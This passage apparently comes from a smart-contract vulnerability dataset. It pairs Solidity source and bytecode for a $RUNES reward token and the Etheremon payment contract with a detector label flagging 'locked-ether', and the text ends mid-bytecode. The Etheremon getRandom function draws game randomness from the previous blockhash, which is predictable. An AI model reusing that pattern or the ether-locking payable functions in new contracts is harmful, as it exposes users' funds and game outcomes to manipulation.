deployedStamp = stamp;
} else {
deployedStamp = block.timestamp;
}
}
/*
* # setRunesPerDay
* incase we want to change the amount gained per day, the gods can set it here
*/
function setRunesPerDay(uint256 newRunesPerDay) public payable onlyOwner {
runesPerDay = newRunesPerDay;
}
/*
* # setMysteriousWorldContract
* sets the address to the deployed Mysterious World contract
*/
function setMysteriousWorldContract(address contractAddress) public payable onlyOwner {
mysteriousworld = TheMysteriousWorld(contractAddress);
}
/*
* # setContractWallets
* enables or disables a contract wallet from interacting with the burn mechanics of the contract
*/
function setContractWallets(address contractAddress, bool newState) public payable onlyOwner {
contractWallets[contractAddress] = newState;
}
/*
* # getPendingRunes
* calculates the runes a inhabitant has from the last time they claimed and the deployedStamp time
*/
function getPendingRunes(address inhabitant) internal view returns(uint256) {
uint256 sumOfRunes = mysteriousworld.balanceOf(inhabitant) * runesPerDay;
if (lastTimeCollectedRunes[inhabitant] >= deployedStamp) {
return sumOfRunes * ((block.timestamp - lastTimeCollectedRunes[inhabitant])) / 86400;
} else {
return sumOfRunes * ((block.timestamp - deployedStamp)) / 86400;
}
}
/*
* # getUnclaimedRunes
* returns the total amount of unclaimed runes a wallet has
*/
function getUnclaimedRunes(address inhabitant) external view returns(uint256) {
return getPendingRunes(inhabitant);
}
/*
* # getTotalRunes
* returns the runesObtained and getPendingRunes for the inhabitant passed
*/
function getTotalRunes(address inhabitant) external view returns(uint256) {
return runesObtained[inhabitant] + getPendingRunes(inhabitant);
}
/*
* # burn
* removes the withdrawn $RUNES from the wallet provided for the amount provided
*/
function burn(address inhabitant, uint256 cost) external payable onlyContractWallets {
_burn(inhabitant, cost);
}
/*
* # claimRunes
* adds the $RUNES to your wallet
*/
function claimRunes() external payable {
_mint(msg.sender, runesObtained[msg.sender] + getPendingRunes(msg.sender));
runesObtained[msg.sender] = 0;
lastTimeCollectedRunes[msg.sender] = block.timestamp;
}
/*
* # updateRunes
* updates the pending balance for both of the wallets associated to the transfer so they don't lose the $RUNES generated
*/
function updateRunes(address from, address to) external onlyContractWallets {
if (from != address(0) && from != mysteriousworld.ritualWallet()) {
runesObtained[from] += getPendingRunes(from);
lastTimeCollectedRunes[from] = block.timestamp;
}
if (to != address(0) && to != mysteriousworld.ritualWallet()) {
runesObtained[to] += getPendingRunes(to);
lastTimeCollectedRunes[to] = block.timestamp;
}
}
}
|
0x6080604052600436106101d85760003560e01c80638d5eec9b11610102578063baebddeb11610095578063d5e22fd911610064578063d5e22fd914610522578063dae35b3414610535578063dd62ed3e14610555578063f2fde38b1461059b57600080fd5b8063baebddeb146104c6578063bfd763ca146104d9578063c8942344146104f9578063ceadbe4b1461050c57600080fd5b80639fc8d67d116100d15780639fc8d67d1461045d578063a326a54314610470578063a457c2d714610486578063a9059cbb146104a657600080fd5b80638d5eec9b146103f75780638da5cb5b1461041757806395d89b41146104355780639dc29fac1461044a57600080fd5b8063374901f61161017a57806370a082311161014957806370a0823114610362578063715018a6146103985780638452436c146103ad5780638462a452146103c757600080fd5b8063374901f6146102d557806339509351146102dd5780633bdef865146102fd57806360f162791461032a57600080fd5b806318160ddd116101b657806318160ddd1461024d57806323b872dd1461026c5780632b4b4d9b1461028c578063313ce567146102b957600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a6ddbdb14610238575b600080fd5b3480156101e957600080fd5b506101f26105bb565b6040516101ff9190611582565b60405180910390f35b34801561021457600080fd5b506102286102233660046114ed565b61064d565b60405190151581526020016101ff565b61024b610246366004611534565b610663565b005b34801561025957600080fd5b506002545b6040519081526020016101ff565b34801561027857600080fd5b50610228610287366004611477565b6106ab565b34801561029857600080fd5b5061025e6102a7366004611404565b600b6020526000908152604090205481565b3480156102c557600080fd5b50604051601281526020016101ff565b61024b610755565b3480156102e957600080fd5b506102286102f83660046114ed565b6107a2565b34801561030957600080fd5b5061025e610318366004611404565b600a6020526000908152604090205481565b34801561033657600080fd5b5060065461034a906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561036e57600080fd5b5061025e61037d366004611404565b6001600160a01b031660009081526020819052604090205490565b3480156103a457600080fd5b5061024b6107de565b3480156103b957600080fd5b506009546102289060ff1681565b3480156103d357600080fd5b506102286103e2366004611404565b600c6020526000908152604090205460ff1681565b34801561040357600080fd5b5061025e610412366004611404565b610814565b34801561042357600080fd5b506005546001600160a01b031661034a565b34801561044157600080fd5b506101f2610848565b61024b6104583660046114ed565b610857565b61024b61046b3660046114b8565b6108b8565b34801561047c57600080fd5b5061025e60085481565b34801561049257600080fd5b506102286104a13660046114ed565b61090d565b3480156104b257600080fd5b506102286104c13660046114ed565b6109a6565b61024b6104d4366004611550565b6109b3565b3480156104e557600080fd5b5061024b6104f436600461143e565b6109e2565b61024b610507366004611404565b610c46565b34801561051857600080fd5b5061025e60075481565b61024b610530366004611519565b610c92565b34801561054157600080fd5b5061025e610550366004611404565b610ccf565b34801561056157600080fd5b5061025e61057036600461143e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105a757600080fd5b5061024b6105b6366004611404565b610cda565b6060600380546105ca9061167c565b80601f01602080910402602001604051908101604052809291908181526020018280546105f69061167c565b80156106435780601f1061061857610100808354040283529160200191610643565b820191906000526020600020905b81548152906001019060200180831161062657829003601f168201915b5050505050905090565b600061065a338484610d75565b50600192915050565b6005546001600160a01b031633146106965760405162461bcd60e51b815260040161068d906115d7565b60405180910390fd5b81156106a25760075550565b426007555b5050565b60006106b8848484610e9a565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561073d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161068d565b61074a8533858403610d75565b506001949350505050565b6107813361076233611069565b336000908152600a602052604090205461077c919061160c565b611178565b336000908152600a60209081526040808320839055600b9091529020429055565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161065a9185906107d990869061160c565b610d75565b6005546001600160a01b031633146108085760405162461bcd60e51b815260040161068d906115d7565b6108126000611257565b565b600061081f82611069565b6001600160a01b0383166000908152600a6020526040902054610842919061160c565b92915050565b6060600480546105ca9061167c565b336000908152600c602052604090205460ff166108ae5760405162461bcd60e51b8152602060048201526015602482015274596f7520616e67657265642074686520676f64732160581b604482015260640161068d565b6106a782826112a9565b6005546001600160a01b031633146108e25760405162461bcd60e51b815260040161068d906115d7565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561098f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161068d565b61099c3385858403610d75565b5060019392505050565b600061065a338484610e9a565b6005546001600160a01b031633146109dd5760405162461bcd60e51b815260040161068d906115d7565b600855565b336000908152600c602052604090205460ff16610a395760405162461bcd60e51b8152602060048201526015602482015274596f7520616e67657265642074686520676f64732160581b604482015260640161068d565b6001600160a01b03821615801590610ae85750600660009054906101000a90046001600160a01b03166001600160a01b03166399bb35af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9a57600080fd5b505afa158015610aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad29190611421565b6001600160a01b0316826001600160a01b031614155b15610b3f57610af682611069565b6001600160a01b0383166000908152600a602052604081208054909190610b1e90849061160c565b90915550506001600160a01b0382166000908152600b602052604090204290555b6001600160a01b03811615801590610bee5750600660009054906101000a90046001600160a01b03166001600160a01b03166399bb35af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ba057600080fd5b505afa158015610bb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd89190611421565b6001600160a01b0316816001600160a01b031614155b156106a757610bfc81611069565b6001600160a01b0382166000908152600a602052604081208054909190610c2490849061160c565b90915550506001600160a01b03166000908152600b6020526040902042905550565b6005546001600160a01b03163314610c705760405162461bcd60e51b815260040161068d906115d7565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610cbc5760405162461bcd60e51b815260040161068d906115d7565b6009805460ff1916911515919091179055565b600061084282611069565b6005546001600160a01b03163314610d045760405162461bcd60e51b815260040161068d906115d7565b6001600160a01b038116610d695760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161068d565b610d7281611257565b50565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161068d565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161068d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610efe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068d565b6001600160a01b038216610f605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068d565b6001600160a01b03831660009081526020819052604090205481811015610fd85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161068d565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061100f90849061160c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161105b91815260200190565b60405180910390a350505050565b6008546006546040516370a0823160e01b81526001600160a01b038481166004830152600093849390929116906370a082319060240160206040518083038186803b1580156110b757600080fd5b505afa1580156110cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ef9190611569565b6110f99190611646565b6007546001600160a01b0385166000908152600b602052604090205491925011611160576001600160a01b0383166000908152600b602052604090205462015180906111459042611665565b61114f9083611646565b6111599190611624565b9392505050565b62015180600754426111459190611665565b50919050565b6001600160a01b0382166111ce5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161068d565b80600260008282546111e0919061160c565b90915550506001600160a01b0382166000908152602081905260408120805483929061120d90849061160c565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166113095760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161068d565b6001600160a01b0382166000908152602081905260409020548181101561137d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161068d565b6001600160a01b03831660009081526020819052604081208383039055600280548492906113ac908490611665565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610e8d565b803580151581146113ff57600080fd5b919050565b60006020828403121561141657600080fd5b8135611159816116c7565b60006020828403121561143357600080fd5b8151611159816116c7565b6000806040838503121561145157600080fd5b823561145c816116c7565b9150602083013561146c816116c7565b809150509250929050565b60008060006060848603121561148c57600080fd5b8335611497816116c7565b925060208401356114a7816116c7565b929592945050506040919091013590565b600080604083850312156114cb57600080fd5b82356114d6816116c7565b91506114e4602084016113ef565b90509250929050565b6000806040838503121561150057600080fd5b823561150b816116c7565b946020939093013593505050565b60006020828403121561152b57600080fd5b611159826113ef565b6000806040838503121561154757600080fd5b61150b836113ef565b60006020828403121561156257600080fd5b5035919050565b60006020828403121561157b57600080fd5b5051919050565b600060208083528351808285015260005b818110156115af57858101830151858201604001528201611593565b818111156115c1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561161f5761161f6116b1565b500190565b60008261164157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611660576116606116b1565b500290565b600082821015611677576116776116b1565b500390565b600181811c9082168061169057607f821691505b6020821081141561117257634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d7257600080fdfea2646970667358221220e5464351a03acf08655548103e2e202ee6bc2bf3a808ea6b10ebf377ac9e185664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,798 |
0xc20f72996879161e45e39e0a93297905959589a2
|
pragma solidity ^0.4.16;
// copyright contact@Etheremon.com
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
// write
function withdrawEther(address _sendTo, uint _amount) onlyOwner public returns(ResultCode);
function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint);
function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint);
function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32);
function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64);
function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public;
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount);
function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount);
function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode);
function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public;
// read
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract BattleInterface {
function createCastleWithToken(address _trainer, uint32 _noBrick, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) external;
}
contract TransformInterface {
function removeHatchingTimeWithToken(address _trainer) external;
function buyEggWithToken(address _trainer) external;
}
contract EngergyInterface {
function topupEnergyByToken(address _player, uint _packId, uint _token) external;
}
contract AdventureInterface {
function adventureByToken(address _player, uint _token, uint _param1, uint _param2, uint64 _param3, uint64 _param4) external;
}
contract EtheremonPayment is EtheremonEnum, BasicAccessControl, SafeMath {
uint8 constant public STAT_COUNT = 6;
uint8 constant public STAT_MAX = 32;
uint8 constant public GEN0_NO = 24;
enum PayServiceType {
NONE,
FAST_HATCHING,
RANDOM_EGG,
ENERGY_TOPUP,
ADVENTURE
}
struct MonsterClassAcc {
uint32 classId;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
// linked smart contract
address public dataContract;
address public tokenContract;
address public transformContract;
address public energyContract;
address public adventureContract;
address private lastHunter = address(0x0);
// config
uint public fastHatchingPrice = 35 * 10 ** 8; // 15 tokens
uint public buyEggPrice = 80 * 10 ** 8; // 80 tokens
uint public tokenPrice = 0.004 ether / 10 ** 8;
uint public maxDexSize = 200;
// event
event EventCatchMonster(address indexed trainer, uint64 objId);
// modifier
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier requireTransformContract {
require(transformContract != address(0));
_;
}
function EtheremonPayment(address _dataContract, address _tokenContract, address _transformContract, address _energyContract, address _adventureContract) public {
dataContract = _dataContract;
tokenContract = _tokenContract;
transformContract = _transformContract;
energyContract = _energyContract;
adventureContract = _adventureContract;
}
// helper
function getRandom(uint8 maxRan, uint8 index, address priAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(priAddress);
for (uint8 i = 0; i < index && i < 6; i ++) {
genNum /= 256;
}
return uint8(genNum % maxRan);
}
// admin
function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external {
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function setContract(address _dataContract, address _tokenContract, address _transformContract, address _energyContract, address _adventureContract) onlyModerators external {
dataContract = _dataContract;
tokenContract = _tokenContract;
transformContract = _transformContract;
energyContract = _energyContract;
adventureContract = _adventureContract;
}
function setConfig(uint _tokenPrice, uint _maxDexSize, uint _fastHatchingPrice, uint _buyEggPrice) onlyModerators external {
tokenPrice = _tokenPrice;
maxDexSize = _maxDexSize;
fastHatchingPrice = _fastHatchingPrice;
buyEggPrice = _buyEggPrice;
}
// battle
// function createCastle(address _trainer, uint _tokens, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) isActive requireBattleContract requireTokenContract public returns(uint)
function catchMonster(address _trainer, uint _tokens, uint32 _classId, string _name) isActive requireDataContract requireTokenContract public returns(uint){
if (msg.sender != tokenContract)
revert();
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterClassAcc memory class;
(class.classId, class.price, class.returnPrice, class.total, class.catchable) = data.getMonsterClass(_classId);
if (class.classId == 0 || class.catchable == false) {
revert();
}
// can not keep too much etheremon
if (data.getMonsterDexSize(_trainer) > maxDexSize)
revert();
uint requiredToken = class.price/tokenPrice;
if (_tokens < requiredToken)
revert();
// add monster
uint64 objId = data.addMonsterObj(_classId, _trainer, _name);
// generate base stat for the previous one
for (uint i=0; i < STAT_COUNT; i+= 1) {
uint8 value = getRandom(STAT_MAX, uint8(i), lastHunter) + data.getElementInArrayType(ArrayType.STAT_START, uint64(_classId), i);
data.addElementToArrayType(ArrayType.STAT_BASE, objId, value);
}
lastHunter = _trainer;
EventCatchMonster(_trainer, objId);
return requiredToken;
}
function _handleEnergyTopup(address _trainer, uint _param, uint _tokens) internal {
EngergyInterface energy = EngergyInterface(energyContract);
energy.topupEnergyByToken(_trainer, _param, _tokens);
}
function payService(address _trainer, uint _tokens, uint32 _type, string _text, uint64 _param1, uint64 _param2, uint64 _param3, uint64 _param4, uint64 _param5, uint64 _param6) isActive public returns(uint result) {
if (msg.sender != tokenContract)
revert();
TransformInterface transform = TransformInterface(transformContract);
if (_type == uint32(PayServiceType.FAST_HATCHING)) {
// remove hatching time
if (_tokens < fastHatchingPrice)
revert();
transform.removeHatchingTimeWithToken(_trainer);
return fastHatchingPrice;
} else if (_type == uint32(PayServiceType.RANDOM_EGG)) {
if (_tokens < buyEggPrice)
revert();
transform.buyEggWithToken(_trainer);
return buyEggPrice;
} else if (_type == uint32(PayServiceType.ENERGY_TOPUP)) {
_handleEnergyTopup(_trainer, _param1, _tokens);
return _tokens;
} else if (_type == uint32(PayServiceType.ADVENTURE)) {
AdventureInterface adventure = AdventureInterface(adventureContract);
adventure.adventureByToken(_trainer, _tokens, _param1, _param2, _param3, _param4);
return _tokens;
} else {
revert();
}
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630d6688181461015957806314d0f1ba146101ae5780631649b76d146101ff5780631c9c549d1461022857806320eb2a871461025157806330a95aa7146103065780633992b494146104205780633a34f09a1461047557806348ef5aa8146104e05780634e3dc2f1146105055780634efb023e1461053457806355a373d6146105655780636c81fd6d146105ba57806373d65c00146105f35780637ff9b5961461062257806382d559de1461064b5780638da5cb5b146106f35780639e281a9814610748578063b85d62751461078a578063bf12bf4f146107c3578063d98e14bd14610818578063ddef642114610847578063e182e27a1461089c578063e5c389cd146108c5578063ee4e441614610903578063f285329214610930575b600080fd5b341561016457600080fd5b61016c610969565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101b957600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061098f565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b6102126109af565b6040518082815260200191505060405180910390f35b341561023357600080fd5b61023b6109b5565b6040518082815260200191505060405180910390f35b341561025c57600080fd5b610304600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109bb565b005b341561031157600080fd5b61040a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803563ffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff1690602001909190803567ffffffffffffffff16906020019091905050610bbd565b6040518082815260200191505060405180910390f35b341561042b57600080fd5b610433610fdd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048057600080fd5b6104c4600480803560ff1690602001909190803560ff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611003565b604051808260ff1660ff16815260200191505060405180910390f35b34156104eb57600080fd5b61050360048080351515906020019091905050611084565b005b341561051057600080fd5b6105186110fc565b604051808260ff1660ff16815260200191505060405180910390f35b341561053f57600080fd5b610547611101565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561057057600080fd5b610578611115565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105c557600080fd5b6105f1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061113b565b005b34156105fe57600080fd5b61060661127b565b604051808260ff1660ff16815260200191505060405180910390f35b341561062d57600080fd5b610635611280565b6040518082815260200191505060405180910390f35b341561065657600080fd5b6106dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803563ffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611286565b6040518082815260200191505060405180910390f35b34156106fe57600080fd5b6107066119e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561075357600080fd5b610788600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611a05565b005b341561079557600080fd5b6107c1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cd6565b005b34156107ce57600080fd5b6107d6611e17565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561082357600080fd5b61082b611e3d565b604051808260ff1660ff16815260200191505060405180910390f35b341561085257600080fd5b61085a611e42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108a757600080fd5b6108af611e68565b6040518082815260200191505060405180910390f35b34156108d057600080fd5b6109016004808035906020019091908035906020019091908035906020019091908035906020019091905050611e6e565b005b341561090e57600080fd5b610916611f46565b604051808215151515815260200191505060405180910390f35b341561093b57600080fd5b610967600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f59565b005b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b600b5481565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a66575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610a7157600080fd5b84600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b6000806000600260009054906101000a900460ff16151515610bde57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3a57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915060016004811115610c6c57fe5b63ffffffff168b63ffffffff161415610d46576008548c1015610c8e57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a3cb3e978e6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610d2857600080fd5b6102c65a03f11515610d3957600080fd5b5050506008549250610fcd565b60026004811115610d5357fe5b63ffffffff168b63ffffffff161415610e2d576009548c1015610d7557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16635b86ce978e6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610e0f57600080fd5b6102c65a03f11515610e2057600080fd5b5050506009549250610fcd565b60036004811115610e3a57fe5b63ffffffff168b63ffffffff161415610e6a57610e628d8a67ffffffffffffffff168e61202e565b8b9250610fcd565b600480811115610e7657fe5b63ffffffff168b63ffffffff161415610fc857600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fba703818e8e8c8c8c8c6040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018567ffffffffffffffff1681526020018467ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff1681526020019650505050505050600060405180830381600087803b1515610fac57600080fd5b6102c65a03f11515610fbd57600080fd